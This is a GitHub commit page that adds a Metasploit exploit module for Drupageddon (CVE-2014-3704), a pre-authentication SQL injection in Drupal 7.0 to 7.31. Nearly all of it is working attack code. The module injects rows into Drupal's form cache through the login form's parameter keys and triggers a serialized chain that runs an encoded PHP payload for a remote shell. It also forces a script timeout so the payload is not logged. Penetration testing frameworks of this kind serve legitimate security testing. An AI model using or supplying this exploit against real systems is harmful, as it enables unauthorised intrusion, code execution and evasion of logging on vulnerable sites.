Skip to content

Commit 704514a

Browse files
New exploit method for Drupageddon (CVE-2014-3704)
This new script exploits the same vulnerability as *exploits/multi/http/drupal_drupageddon.rb*, but in a more efficient way.
1 parent 5cdd364 commit 704514a

File tree

1 file changed

+146
-0
lines changed

1 file changed

+146
-0
lines changed
Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
#
5+
# For technical details on the exploit implemented here, see:
6+
# https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/
7+
##
8+
9+
class MetasploitModule < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',
17+
'Description' => %q{
18+
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
19+
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
20+
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
21+
in 7.32).
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'SektionEins', # discovery
27+
'WhiteWinterWolf', # msf module
28+
],
29+
'References' =>
30+
[
31+
['CVE', '2014-3704'],
32+
['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
33+
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
34+
],
35+
'Privileged' => false,
36+
'Platform' => ['php'],
37+
'Arch' => ARCH_PHP,
38+
'Targets' => [['Drupal 7.0 - 7.31',{}]],
39+
'DisclosureDate' => 'Oct 15 2014',
40+
'DefaultTarget' => 0,
41+
'Payload' =>
42+
{
43+
# Rough estimate, maximum HTTP header size is server dependant.
44+
'Space' => 7000,
45+
# Don't pad the payload with 6K space chars.
46+
'MaxNops' => 0,
47+
},
48+
))
49+
50+
register_options(
51+
[
52+
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
53+
])
54+
55+
register_advanced_options(
56+
[
57+
OptInt.new('WAIT', [true, "Number of seconds to wait before triggering the payload sent.", 5])
58+
])
59+
end
60+
61+
def sql_insert(id, value)
62+
curlyopen = rand_text_alphanumeric(8)
63+
curlyclose = rand_text_alphanumeric(8)
64+
value.gsub!('{', curlyopen)
65+
value.gsub!('}', curlyclose)
66+
67+
"INSERT INTO {cache_form} (cid, data, expire, created, serialized) " \
68+
+ "VALUES ('#{id}', REPLACE(REPLACE('#{value}', '#{curlyopen}', " \
69+
+ "CHAR(#{'{'.ord})), '#{curlyclose}', CHAR(#{'}'.ord})), -1, 0, 1);"
70+
end
71+
72+
def exploit
73+
form_build_id = 'form-' + rand_text_alphanumeric(43)
74+
75+
# Remove the malicious cache entries upon success.
76+
evalstr = "cache_clear_all(array('form_" + form_build_id + "', " \
77+
+ "'form_state_" + form_build_id + "'), 'cache_form');"
78+
evalstr << payload.encoded
79+
evalstr = Rex::Text.encode_base64(evalstr)
80+
# '<?php' tag required by php_eval().
81+
evalstr = "<?php eval(base64_decode(\\'#{evalstr}\\'));"
82+
# Don't count the backslashes.
83+
evalstr_len = evalstr.length - 2
84+
85+
# Serialized malicious form state.
86+
# The PHP module may be disabled (and should be).
87+
# Load its definition manually to get access to php_eval().
88+
state = 'a:1:{s:10:"build_info";a:1:{s:5:"files";a:1:{'
89+
state << 'i:0;s:22:"modules/php/php.module";'
90+
state << '}}}'
91+
# Initiates a POP chain in includes/form.inc:1850, form_builder()
92+
form = 'a:6:{'
93+
form << 's:5:"#type";s:4:"form";'
94+
form << 's:8:"#parents";a:1:{i:0;s:4:"user";}'
95+
form << 's:8:"#process";a:1:{i:0;s:13:"drupal_render";}'
96+
form << 's:16:"#defaults_loaded";b:1;'
97+
form << 's:12:"#post_render";a:1:{i:0;s:8:"php_eval";}'
98+
form << 's:9:"#children";s:' + evalstr_len.to_s + ':"' + evalstr + '";'
99+
form << '}'
100+
101+
# SQL injection key lines:
102+
# - modules/user/user.module:2149, user_login_authenticate_validate()
103+
# - includes/database/database.inc:745, expandArguments()
104+
sql = sql_insert('form_state_' + form_build_id, state)
105+
sql << sql_insert('form_' + form_build_id, form)
106+
# Causes PHP script to timeout, avoiding payload logging.
107+
sql << 'SELECT SLEEP(666);'
108+
109+
# Use the login form to inject the malicious cache entry.
110+
# '!' follows redirects, used by some Drupal sites to enforce clean URLs.
111+
# Don't check the return code as it *will* timeout.
112+
send_request_cgi!({
113+
'uri' => normalize_uri(target_uri.path),
114+
'method' => 'POST',
115+
'vars_post' => {
116+
# Don't use 'user_login_block' as it may be disabled.
117+
'form_id' => 'user_login',
118+
'form_build_id' => '',
119+
"name[0;#{sql}#]" => '',
120+
# This field must be located *after* the injection.
121+
"name[0]" => '',
122+
'op' => 'Log in',
123+
'pass' => Rex::Text.rand_text_alpha(8)
124+
},
125+
'vars_get' => {
126+
'q' => 'user/login'
127+
}
128+
}, timeout=datastore['WAIT'])
129+
130+
# Trigger the malicious cache entry using its form ID.
131+
send_request_cgi!({
132+
'uri' => normalize_uri(target_uri.path),
133+
'method' => 'POST',
134+
'vars_post' => {
135+
'form_id' => 'user_login',
136+
"form_build_id" => form_build_id,
137+
"name" => Rex::Text.rand_text_alpha(10),
138+
'op' => 'Log in',
139+
'pass' => Rex::Text.rand_text_alpha(10)
140+
},
141+
'vars_get' => {
142+
'q' => 'user/login'
143+
}
144+
})
145+
end
146+
end

0 commit comments

Comments
 (0)